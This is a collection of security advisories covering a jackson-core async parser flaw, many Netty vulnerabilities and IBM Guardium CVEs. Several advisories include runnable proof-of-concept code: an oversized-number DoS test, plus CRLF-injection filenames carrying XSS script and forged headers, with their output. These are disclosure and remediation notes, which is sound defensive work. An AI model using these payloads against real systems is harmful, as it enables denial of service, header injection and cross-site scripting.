Summary The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
Details The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g., finishNumberIntegralPart) accumulate digits into the TextBuffer without any length checks. - After parsing, they call valueComplete(), which finalizes the token but does not call resetInt() or resetFloat(). - The resetInt()/resetFloat() methods in ParserBase are where the validateIntegerLength() and validateFPLength() checks are performed. - Because this validation step is skipped, the maxNumberLength constraint is never enforced in the async code path.
PoC The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
java package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.; import tools.jackson.core.exc.StreamConstraintsException; import tools.jackson.core.json.JsonFactory; import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.;
/ POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers Authors: sprabhav7, rohan-repos maxNumberLength default = 1000 characters (digits). A number with more than 1000 digits should be rejected by any parser. BUG: The async parser never calls resetInt()/resetFloat() which is where validateIntegerLength()/validateFPLength() lives. Instead it calls valueComplete() which skips all number length validation. CWE-770: Allocation of Resources Without Limits or Throttling / class AsyncParserNumberLengthBypassTest {
private static final int MAXNUMBERLENGTH = 1000; private static final int TESTNUMBERLENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength @Test void syncParserRejectsLongNumber() throws Exception { byte[] payload = buildPayloadWithLongInteger(TESTNUMBERLENGTH); // Output to console System.out.println("[SYNC] Parsing " + TESTNUMBERLENGTH + "-digit number (limit: " + MAXNUMBERLENGTH + ")"); try { try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) { while (p.nextToken() != null) { if (p.currentToken() == JsonToken.VALUENUMBERINT) { System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED"); } } } fail("Sync parser must reject a " + TESTNUMBERLENGTH + "-digit number"); } catch (StreamConstraintsException e) { System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage()); } }
// VULNERABILITY: Async parser accepts the SAME number that sync rejects @Test void asyncParserAcceptsLongNumber() throws Exception { byte[] payload = buildPayloadWithLongInteger(TESTNUMBERLENGTH);
NonBlockingByteArrayJsonParser p = (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty()); p.feedInput(payload, 0, payload.length); p.endOfInput();
boolean foundNumber = false; try { while (p.nextToken() != null) { if (p.currentToken() == JsonToken.VALUENUMBERINT) { foundNumber = true; String numberText = p.getText(); assertEquals(TESTNUMBERLENGTH, numberText.length(), "Async parser silently accepted all " + TESTNUMBERLENGTH + " digits"); } } // Output to console System.out.println("[ASYNC INT] Accepted number with " + TESTNUMBERLENGTH + " digits — BUG CONFIRMED"); assertTrue(foundNumber, "Parser should have produced a VALUENUMBERINT token"); } catch (StreamConstraintsException e) { fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage()); } p.close(); }
private byte[] buildPayloadWithLongInteger(int numDigits) { StringBuilder sb = new StringBuilder(numDigits + 10); sb.append("{\"v\":"); for (int i = 0; i < numDigits; i++) { sb.append((char) ('1' + (i % 9))); } sb.append('}'); return sb.toString().getBytes(StandardCharsets.UTF8); } }
Impact A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause: 1. Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError. 2. CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.
Suggested Remediation
The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.
NOTE: This research was performed in collaboration with rohan-repos
Summary Netty's SPDY SETTINGS decoder accepts a peer-declared SETTINGS entry count up to the 24-bit frame-length limit and materializes every unique setting ID in DefaultSpdySettingsFrame without an implementation-level count cap. A remote SPDY/3.1 peer can send one syntactically valid roughly 2 MiB SETTINGS frame that creates 262144 map entries, amplifying network input into heap growth and ordered-map insertion work.
Details Inbound SPDY bytes enter SpdyFrameCodec.decode() and are passed directly to the frame decoder. The decoder reads the peer-controlled flags and 24-bit frame length from the common header, then accepts SETTINGS frames with only length >= 4. For SETTINGS payloads, it reads the peer-controlled numSettings field and validates only that the remaining payload is divisible into 8-byte entries and exactly matches that count. Each accepted entry then supplies an attacker-controlled 24-bit ID and value, and the normal delegate path forwards it into spdySettingsFrame.setValue(). The sink is DefaultSpdySettingsFrame: it backs settings with a TreeMap, checks only that IDs fit the SPDY 24-bit maximum, and inserts a new Setting for each previously unseen ID. There is no count budget between the wire-format count validation and the TreeMap insertion site.
PoC poc.zip
run with bash bash ./poc/run.sh
expected output: text NETTYSPDYSETTINGSCOUNTMAPTRIGGERED settingscount=262144 wirebytes=2097164 approxheapdelta=17692272 firstvalue=1 lastvalue=262144
The NETTYSPDYSETTINGSCOUNTMAPTRIGGERED line means the harness decoded the crafted SETTINGS frame and observed all 262144 peer-selected IDs in the resulting settings map. The wirebytes=2097164, firstvalue=1, and lastvalue=262144 fields distinguish this from a setup failure: they show the exact oversized frame was accepted and fully materialized.
Impact remote unauthenticated network peer that can speak SPDY/3.1 to a Netty pipeline containing SpdyFrameCodec can trigger resource-exhaustion denial of service. The required guards are satisfied by a complete valid SETTINGS frame using the expected SPDY version, a length of 4 + numSettings 8, and IDs within the accepted 24-bit range; the verified PoC uses numSettings=262144 and wirebytes=2097164. On that input, Netty materializes 262144 attacker-controlled entries in a TreeMap-backed DefaultSpdySettingsFrame, with local runs observing about 17-18 MiB of heap growth per decoded frame plus CPU work for ordered-map insertion.
Summary Netty SPDY header decoding continues inflating zlib-compressed header blocks after the raw header parser has already exceeded maxHeaderSize and marked the frame truncated. At commit b2d2137c4404af425bf9d5d601a62576f5c06925, a 12,253-byte compressed SPDY header block can declare and inflate a 12 MiB header-name field with maxHeaderSize=16, forcing compression-amplified decode and skip work in a reachable SpdyFrameCodec pipeline.
PoC poc.zip
run with: bash bash ./poc/run.sh expected output: text NETTYSPDYZLIBDECODEDAFTERLIMITTRIGGERED compressedbytes=12253 declarednamelength=12582912 maxheadersize=16 truncated=true invalid=false
The fingerprint means the compressed input was fully consumed while the raw header parser ended with truncated=true and invalid=false after processing the oversized decoded name. That specific state distinguishes this bug from a generic setup failure: the maxHeaderSize guard fired, but the zlib/raw decode path still inflated and skipped the full 12 MiB declared name.
Impact A remote unauthenticated peer that can speak SPDY to a Netty pipeline containing SpdyFrameCodec can send a small compressed HEADERS block that expands into much larger raw header data after the configured maxHeaderSize limit has already been exceeded. The attack requires a reachable SPDY codec, ordinary transport setup such as TCP and optional TLS, and no independent compressed-frame-size or connection-rate limit ahead of SpdyFrameCodec. The satisfied protocol guards are straightforward: the HEADERS frame uses a nonzero stream id and length >= 4, the decoder factory selects the zlib decoder, the payload uses the SPDY dictionary, and the raw block appends a zero-length value so the already-truncated frame reaches ENDHEADERBLOCK. The user-visible effect is denial of service through compression-amplified CPU and allocation churn.
Netty is a network application framework for development of protocol servers and clients. In versions 4.2.0.Final through 4.2.15.Final and 4.1.0.Final through 4.1.135.Final, the SpdyHttpDecoder handler in Netty's SPDY-to-HTTP codec allocates a pooled ByteBuf when processing a client-initiated SYNSTREAM frame with FLAGFIN=0 and stores the partially constructed FullHttpRequest in messageMap; when the remote peer sends RSTSTREAM for that stream or the accumulated content exceeds maxContentLength, the decoder removes the entry but does not release the pooled ByteBuf, causing native memory exhaustion. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
Summary Netty's CorsHandler provides a shortCircuit() configuration designed to reject unauthorized cross-origin requests immediately, acting as a security control before requests reach the application. However, due to a logical operator error in the origin evaluation process, this protection can be entirely bypassed. An attacker can bypass the short-circuit mechanism by sending a request with an Origin: null header. This failure forwards unauthorized requests to the backend application, bypassing intended access controls.
Details In io.netty.handler.codec.http.cors.CorsHandler#channelRead, the short-circuit logic relies on the configuration returned by getForOrigin(origin) to determine if an origin is authorized. If getForOrigin returns a configuration object, the short-circuit check (!(origin == null || config != null)) is bypassed, and the request proceeds to the backend.
The vulnerability is located in the getForOrigin method:
java if (corsConfig.isNullOriginAllowed() || NULLORIGIN.equals(requestOrigin)) { return corsConfig; }
If an attacker sends Origin: null, NULLORIGIN.equals(requestOrigin) evaluates to true. The method returns the configuration object regardless of whether isNullOriginAllowed() was configured by the developer. The short-circuit is bypassed.
Impact Applications relying on CorsHandler's short-circuit feature to prevent unauthorized cross-origin requests from reaching their backend logic are completely exposed. The framework fails to enforce the developer's intended access controls, allowing unauthorized requests to be processed.
Summary
A remote, unauthenticated peer can leak one direct ByteBuf per HTTP/2 DATA frame in applications that enable HTTP/2 content decompression via DelegatingDecompressorFrameListener. When a DATA frame is processed for a stream whose decompressor has already been closed, Http2Decompressor.decompress(...) retains the frame buffer but never releases it on the error path, so its reference count never returns to zero. Repeating this over a long-lived HTTP/2 connection exhausts direct memory and crashes the JVM with OutOfMemoryError — a denial of service.
Details
In codec-http2/src/main/java/io/netty/handler/codec/http2/DelegatingDecompressorFrameListener.java, Http2Decompressor.decompress(...) does:
java // around line 433 decompressor.writeInbound(data.retain());
The argument data.retain() is evaluated before writeInbound(...) executes, incrementing the buffer's reference count (refCnt: 1 -> 2). The very first statement of EmbeddedChannel.writeInbound(...) is ensureOpen() (EmbeddedChannel.java:360), which throws ClosedChannelException when the decompressor's internal EmbeddedChannel has already been closed.
When that happens: - the DATA payload has been retain()ed but never entered the pipeline, so the decoder's finally { release() } never runs; - the surrounding catch (Throwable t) block in decompress(...) (around line 451) does not release the extra reference; - the input buffer therefore can never reach refCnt 0, and its (typically direct) memory is leaked.
The decompressor channel is closed on a reachable path: Http2Connection onStreamRemoved → Http2Decompressor.cleanup() → EmbeddedChannel.finishAndReleaseAll() (DelegatingDecompressorFrameListener.java:125-133 and 418-420).
A peer that sends DATA frames for a stream whose decompressor has already been cleaned up (e.g. continuing to send DATA after ENDSTREAM / stream removal) thus leaks one direct ByteBuf per frame.
Affected code: DelegatingDecompressorFrameListener.java, method Http2Decompressor.decompress(...) — the decompressor.writeInbound(data.retain()) call (line ~433) and its catch (Throwable t) block (line ~451), which lacks a data.release() rollback.
Suggested fix: track whether writeInbound succeeded and roll back the extra retain() only when the data never entered the pipeline:
java boolean writeSucceeded = false; try { decompressor.writeInbound(data.retain()); writeSucceeded = true; // pipeline now owns the release if (endOfStream) { decompressor.finish(); } return 0; } catch (Throwable t) { if (!writeSucceeded) { data.release(); // roll back the extra retain(); data never entered pipeline } if (t instanceof Http2Exception) { throw (Http2Exception) t; } throw streamError(stream.id(), INTERNALERROR, t, ...); }
| Case | writeSucceeded | catch action | Reason | |------|:---:|---|---| | ensureOpen() throws (this bug) | false | data.release() | data never entered pipeline | | handler throws internally | true | no release | decoder finally already released | | finish() throws | true | no release | writeInbound already succeeded |
PoC
Reproduced against the official, unmodified netty-codec-http2-4.2.15.Final.jar from Maven Central, using real netty classes and measuring ByteBuf.refCnt() directly (the leaking logic is not mocked).
Reproduction steps:
1. Download the official artifacts and their dependencies from Maven Central (version 4.2.15.Final): netty-common, netty-buffer, netty-transport, netty-resolver, netty-handler, netty-codec-base, netty-codec, netty-codec-http, netty-codec-http2, netty-codec-compression. 2. Build a real Http2Decompressor wrapping a real gzip decoder EmbeddedChannel (ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP)). 3. Close the internal decompressor channel (equivalent to the end state of cleanup() / finishAndReleaseAll()). 4. Encode a real gzip DATA payload with ZlibCodecFactory.newZlibEncoder(GZIP) (refCnt = 1). 5. Call decompress(...) on the closed channel. 6. Observe: writeInbound(...) throws ClosedChannelException at its ensureOpen() entry (EmbeddedChannel.java:360), reached from DelegatingDecompressorFrameListener.java:433; data.refCnt() is now 2. 7. Release once as the frame reader would; refCnt stays at 1 (release() returns false) → leaked.
Observed reference-count trace:
gzipData initial refCnt = 1 decompress -> data.retain() -> refCnt = 2 (retain applied, never rolled back) caller releases once -> refCnt = 1 (release() returns false; not deallocated) => buffer never reaches 0 -> direct memory leaked
Observed exception stack (confirms the leak point):
java.nio.channels.ClosedChannelException at io.netty.channel.embedded.EmbeddedChannel.checkOpen(EmbeddedChannel.java:959) at io.netty.channel.embedded.EmbeddedChannel.ensureOpen(EmbeddedChannel.java:979) at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:360) at io.netty.handler.codec.http2.DelegatingDecompressorFrameListener$Http2Decompressor .decompress(DelegatingDecompressorFrameListener.java:433)
Two notes on the harness (they do not affect the leak mechanism): - The internal channel is closed directly via close() rather than through cleanup(). The end state is identical (channel closed → writeInbound throws at ensureOpen()); the bug depends on "channel closed → retain not rolled back", not on how the channel was closed. - In the isolated harness the rethrown StreamException's root cause shows as NullPointerException because the harness does not initialise an Http2LocalFlowController (a secondary exception reported during channel close). The leak is already sealed at the ClosedChannelException thrown by writeInbound's ensureOpen() (line 360); in a real server with the flow controller initialised, the triggering exception is the ClosedChannelException itself.
A complete self-contained PoC (Verify02DecompressLeak.java, ~150 lines, no test framework) plus the exact javac / java commands can be attached on request.
Impact
- Vulnerability type: uncontrolled resource consumption / memory leak (CWE-401), leading to denial of service. Each crafted DATA frame leaks one (typically direct/off-heap) ByteBuf. - Who is impacted: any server (or client) that enables HTTP/2 content decompression by installing DelegatingDecompressorFrameListener in its HTTP/2 pipeline. - Attacker requirements: remote, unauthenticated. The attacker only needs to send HTTP/2 DATA frames for a stream whose decompressor has been cleaned up (e.g. continue sending DATA after ENDSTREAM). No special server configuration beyond decompression being enabled. - Result: sustained triggering over a long-lived connection exhausts direct memory and crashes the JVM with OutOfMemoryError.
Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder
1. Vulnerability Summary
| Field | Value | |-------|-------| | Product | Netty | | Version | 4.2.12.Final (and all prior versions with codec-http multipart) | | Component | io.netty.handler.codec.http.multipart.HttpPostRequestEncoder | | Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting | | Impact | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition | | CVSS 3.1 Score | 8.1 (High) | | CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N | | Attack Vector | Network | | Attack Complexity | Low | | Privileges Required | Low (attacker must be able to upload files with controlled filenames) | | User Interaction | None | | Scope | Unchanged | | Confidentiality Impact | High | | Integrity Impact | High | | Availability Impact | None |
2. Affected Components
The following classes in the codec-http module are affected:
- io.netty.handler.codec.http.multipart.HttpPostRequestEncoder — directly concatenates unvalidated filename/name into Content-Disposition MIME headers (lines 519, 633, 674, 682, 686-688) - io.netty.handler.codec.http.multipart.DiskFileUpload — setFilename() only checks null (line 78) - io.netty.handler.codec.http.multipart.MemoryFileUpload — setFilename() only checks null (line 60) - io.netty.handler.codec.http.multipart.MixedFileUpload — setFilename() delegates without validation (line 62)
3. Vulnerability Description
Netty's HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\r\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part.
Root Cause
In HttpPostRequestEncoder.java, multiple code paths directly embed fileUpload.getFilename() into header strings:
java // Line 674 (attachment mode): internal.addValue(HttpHeaderNames.CONTENTDISPOSITION + ": " + HttpHeaderValues.ATTACHMENT + "; " + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION
// Lines 686-688 (form-data mode): internal.addValue(HttpHeaderNames.CONTENTDISPOSITION + ": " + HttpHeaderValues.FORMDATA + "; " + HttpHeaderValues.NAME + "=\"" + fileUpload.getName() + "\"; " + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION
// Line 519 (attribute name): internal.addValue(HttpHeaderNames.CONTENTDISPOSITION + ": " + HttpHeaderValues.FORMDATA + "; " + HttpHeaderValues.NAME + "=\"" + attribute.getName() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^ NO VALIDATION
The setFilename() method in all FileUpload implementations only checks for null:
java // DiskFileUpload.java:77-79 public void setFilename(String filename) { this.filename = ObjectUtil.checkNotNull(filename, "filename"); // NO CRLF VALIDATION }
Comparison with Similar Fixed CVEs
This vulnerability follows the same pattern as:
| CVE | Component | Fix | |-----|-----------|-----| | GHSA-jq43-27x9-3v86 | SmtpRequestEncoder — SMTP command injection | Added CRLF validation in SmtpUtils.validateSMTPParameters() | | GHSA-84h7-rjj3-6jx4 | HttpRequestEncoder — CRLF in URI | Added HttpUtil.validateRequestLineTokens() |
The multipart encoder has no equivalent validation for filenames or field names.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
1. The application uses Netty's HttpPostRequestEncoder to construct multipart HTTP requests 2. The filename of an uploaded file is derived from user-controlled input 3. The application does not perform its own CRLF sanitization on filenames
Common affected patterns: - File upload proxies that forward user-supplied filenames - API gateways that construct multipart requests from incoming parameters - Microservice communication that passes filenames between services - Testing/automation frameworks that use Netty HTTP client with user-defined filenames
5. Attack Scenarios
Scenario 1: Content-Type Override via Filename Injection
An attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS:
java String maliciousFilename = "photo.jpg\"\r\nContent-Type: text/html\r\n\r\n<script>alert(document.cookie)</script>\r\n--";
DiskFileUpload upload = new DiskFileUpload( "avatar", maliciousFilename, "image/jpeg", "binary", UTF8, fileSize);
Wire format: --boundary content-disposition: form-data; name="avatar"; filename="photo.jpg" Content-Type: text/html <-- INJECTED: overrides image/jpeg
<script>alert(document.cookie)</script> <-- INJECTED: XSS payload --" content-type: image/jpeg <-- Original (now ignored by many parsers) ...
If the receiving server parses the first Content-Type, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back.
Scenario 2: Arbitrary MIME Header Injection
java String filename = "doc.pdf\"\r\nX-Custom-Auth: admin-token-12345\r\nX-Bypass-Check: true";
Injects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic.
Scenario 3: Multipart Boundary Confusion
java String filename = "file.txt\"\r\n\r\nmalicious body content\r\n--boundary\r\nContent-Disposition: form-data; name=\"secret";
By injecting a new boundary delimiter, the attacker can: - Terminate the current body part prematurely - Start a new body part with a different field name - Override form fields processed by the server
6. Proof of Concept
Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java)
java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import io.netty.handler.codec.http.; import io.netty.handler.codec.http.multipart.;
import java.io.File; import java.io.FileWriter; import java.nio.charset.StandardCharsets;
/ PoC: HTTP Multipart Content-Disposition Header Injection via Filename Demonstrates that HttpPostRequestEncoder does not validate filenames for CRLF characters, allowing injection of arbitrary MIME headers into multipart form data. / public class MultipartFilenameInjectionPoC {
public static void main(String[] args) throws Exception { System.out.println("=== Netty Multipart Filename CRLF Injection PoC ===\n");
testFilenameInjection();
System.out.println("\n=== PoC Complete ==="); }
static void testFilenameInjection() throws Exception { System.out.println("[TEST 1] Filename CRLF Injection in Content-Disposition"); System.out.println("-------------------------------------------------------");
// Create a temporary file for upload File tempFile = File.createTempFile("test", ".txt"); tempFile.deleteOnExit(); try (FileWriter fw = new FileWriter(tempFile)) { fw.write("test content"); }
// Malicious filename with CRLF to inject Content-Type header String maliciousFilename = "innocent.txt\"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n" + "<script>alert(1)</script>\r\n--";
HttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP11, HttpMethod.POST, "/upload");
HttpPostRequestEncoder encoder = new HttpPostRequestEncoder( new DefaultHttpDataFactory(false), request, true, StandardCharsets.UTF8, HttpPostRequestEncoder.EncoderMode.RFC3986);
DiskFileUpload fileUpload = new DiskFileUpload( "file", maliciousFilename, "application/octet-stream", "binary", StandardCharsets.UTF8, tempFile.length()); fileUpload.setContent(tempFile);
encoder.addBodyHttpData(fileUpload); encoder.finalizeRequest();
// Read the encoded multipart body StringBuilder body = new StringBuilder(); while (!encoder.isEndOfInput()) { HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc()); if (chunk != null) { body.append(chunk.content().toString(StandardCharsets.UTF8)); chunk.release(); } } encoder.cleanFiles();
String encoded = body.toString(); System.out.println("Malicious filename: " + maliciousFilename.replace("\r", "\\r").replace("\n", "\\n")); System.out.println(); System.out.println("Encoded multipart body:"); System.out.println("---"); for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r")); } System.out.println("---");
boolean hasInjectedHeader = encoded.contains("X-Injected: true"); boolean hasInjectedScript = encoded.contains("<script>"); System.out.println(); System.out.println("Injected X-Injected header: " + hasInjectedHeader); System.out.println("Injected script tag: " + hasInjectedScript); System.out.println("VULNERABLE: " + ((hasInjectedHeader || hasInjectedScript) ? "YES - MIME header injection!" : "NO"));
tempFile.delete(); } }
How to Compile and Run
bash Build Netty (skip tests) ./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \ -Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \ -Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \ -Dspotbugs.skip=true -q
Set classpath JARS=$(find ~/.m2/repository/io/netty -name "netty-.jar" -path "/4.2.12.Final/" \ | grep -v sources | grep -v javadoc | tr '\n' ':')
Compile and run javac -cp "$JARS" MultipartFilenameInjectionPoC.java java -cp "$JARS:." MultipartFilenameInjectionPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty Multipart Filename CRLF Injection PoC ===
[TEST 1] Filename CRLF Injection in Content-Disposition ------------------------------------------------------- Malicious filename: innocent.txt"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n<script>alert(1)</script>\r\n--
Encoded multipart body: --- --88aaade41dbb9f9f\r content-disposition: form-data; name="file"; filename="innocent.txt"\r Content-Type: text/html\r <-- INJECTED X-Injected: true\r <-- INJECTED \r <script>alert(1)</script>\r <-- INJECTED XSS --"\r content-length: 12\r content-type: application/octet-stream\r content-transfer-encoding: binary\r \r test content\r --88aaade41dbb9f9f--\r ---
Injected X-Injected header: true Injected script tag: true VULNERABLE: YES - MIME header injection!
=== PoC Complete ===
7. Impact Analysis
| Impact Category | Description | |----------------|-------------| | Confidentiality | HIGH — Injected headers may bypass access controls or leak tokens | | Integrity | HIGH — Content-Type override enables stored XSS; field name injection allows form data manipulation | | Content-Type Spoofing | Override application/octet-stream to text/html to serve executable content | | Stored XSS | Inject <script> tags via Content-Type override when uploaded files are served back | | Form Field Override | Inject new multipart boundaries to create/override form fields | | Downstream Injection | Custom MIME headers may affect middleware, CDN, or storage layer behavior |
8. Remediation Recommendations
Option 1: Validate in FileUpload.setFilename() (Recommended)
java // DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java public void setFilename(String filename) { ObjectUtil.checkNotNull(filename, "filename"); for (int i = 0; i < filename.length(); i++) { char c = filename.charAt(i); if (c == '\r' || c == '\n') { throw new IllegalArgumentException( "filename contains prohibited CRLF character at index " + i); } } this.filename = filename; }
Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth)
Escape or reject CRLF characters when building Content-Disposition headers:
java // HttpPostRequestEncoder.java - add helper method private static String sanitizeHeaderParam(String value) { for (int i = 0; i < value.length(); i++) { char c = value.charAt(i); if (c == '\r' || c == '\n' || c == '"') { throw new ErrorDataEncoderException( "Multipart parameter contains prohibited character at index " + i); } } return value; }
// Then use in Content-Disposition construction: internal.addValue(... + "=\"" + sanitizeHeaderParam(fileUpload.getFilename()) + "\"\r\n");
Option 3: RFC 2231/5987 Encoding for Filenames
Use proper RFC 2231 encoding for filenames with special characters:
java // Encode filename per RFC 5987: // filename=UTF-8''encoded%20filename String encodedFilename = "UTF-8''" + URLEncoder.encode(filename, "UTF-8"); internal.addValue(... + "filename=" + encodedFilename + "\r\n");
9. References
- RFC 2183: Content-Disposition Header Field - RFC 7578: Returning Values from Forms: multipart/form-data - RFC 5987: Character Set and Language Encoding for HTTP Header Field Parameters - CWE-93: Improper Neutralization of CRLF Sequences - CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers - GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern) - GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (same pattern)
Summary An attacker can force WebSocket upgrade via the lax V07 (or V08) handshaker by sending Sec-WebSocket-Version: 7 and omitting Connection: Upgrade / Upgrade: websocket headers, completing a protocol switch that a proxy would not recognize as an Upgrade request and enabling HTTP request smuggling / protocol-confusion attacks.
Netty is a network application framework for development of protocol servers and clients. Prior to 4.1.136.Final, the bzip2 decoder in netty-codec-compression contains a logic error that can cause infinite loops when processing certain malformed or adversarial bzip2-compressed data. An attacker can send specially crafted bzip2 payloads that trigger the infinite loop condition, causing the decoder thread to consume 100% CPU until manual intervention, leading to denial of service. This issue is fixed in versions 4.1.136.Final and later.
Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, Netty's HTTP/2-to-HTTP/1.x translation layer (Http2StreamFrameToHttpObjectCodec and InboundHttp2ToHttpAdapter) fails to deduplicate or validate Host headers when an HTTP/2 client supplies both the :authority pseudo-header and a literal host header in a single HEADERS frame. The translator maps :authority to Host and separately copies the literal host header, producing an HttpRequest object containing two Host headers with attacker-controlled differing values. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.
Impact HttpContentEncoder (the superclass of the production handler HttpContentCompressor) maintains a per-channel ArrayDeque<CharSequence> named acceptEncodingQueue that accumulates attacker-controlled data without any size limit. The queue is filled on the I/O thread for every inbound HTTP request and drained only when the application later writes a non-1xx response. This creates a resource exhaustion vulnerability when an attacker exploits HTTP/1.1 pipelining to flood the connection with requests faster than the application produces responses.
IBM Guardium Data Protection 12.1 and 12.2.2 are vulnerable to missing authentication in the edge-controller component. An unauthenticated remote attacker could exploit this vulnerability to execute arbitrary container images and gain control of managed edge clusters.
IBM Guardium Data Protection 12.2.2, and 12.1 could allow a remote attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command.
IBM Guardium Data Protection 12.2.2, and 12.1 could allow a remote attacker to delete arbitrary files due to improper limitation of a pathname to a restricted directory.
IBM Guardium Data Protection 12.2.2, and 12.1 could allow a remote attacker to execute arbitrary SQL commands due to improper neutralization of special elements used in an SQL command.
IBM Guardium Data Protection 12.2, and 12.2.2 could allow a remote attacker to execute arbitrary management operations due to missing authentication for critical function.
IBM Guardium Data Protection 12.2.2 could allow a remote attacker to cause a denial of service due to a race condition resulting from concurrent unsynchronized writes to a shared map.
IBM Guardium Data Protection 12.2.2 could allow a remote attacker to conduct a man-in-the-middle attack due to improper certificate validation.
IBM Guardium Data Protection 12.2.2 is affected by a denial-of-service vulnerability in the edge-controller. An unauthenticated remote attacker with network access to the edge-controller gRPC service can provide malformed task data that triggers an unchecked type assertion, causing the edge-controller process to terminate unexpectedly.
IBM Guardium Data Protection 12.2.2 is affected by a sensitive information exposure vulnerability. During SECRET and APIKEY rotation processing, sensitive credential material is logged at INFO level by the edge-controller/edge-manager components. An authenticated attacker with access to the relevant application or container logs could obtain these credentials and use them to impersonate services or gain unauthorized access to the Guardium control plane.
IBM Guardium Data Protection 12.2.1, and 12.2.2 's add-on feature of Guardium Data Protection named "Long Term Retention" (LTR) can expose sensitive credentials in debug mode.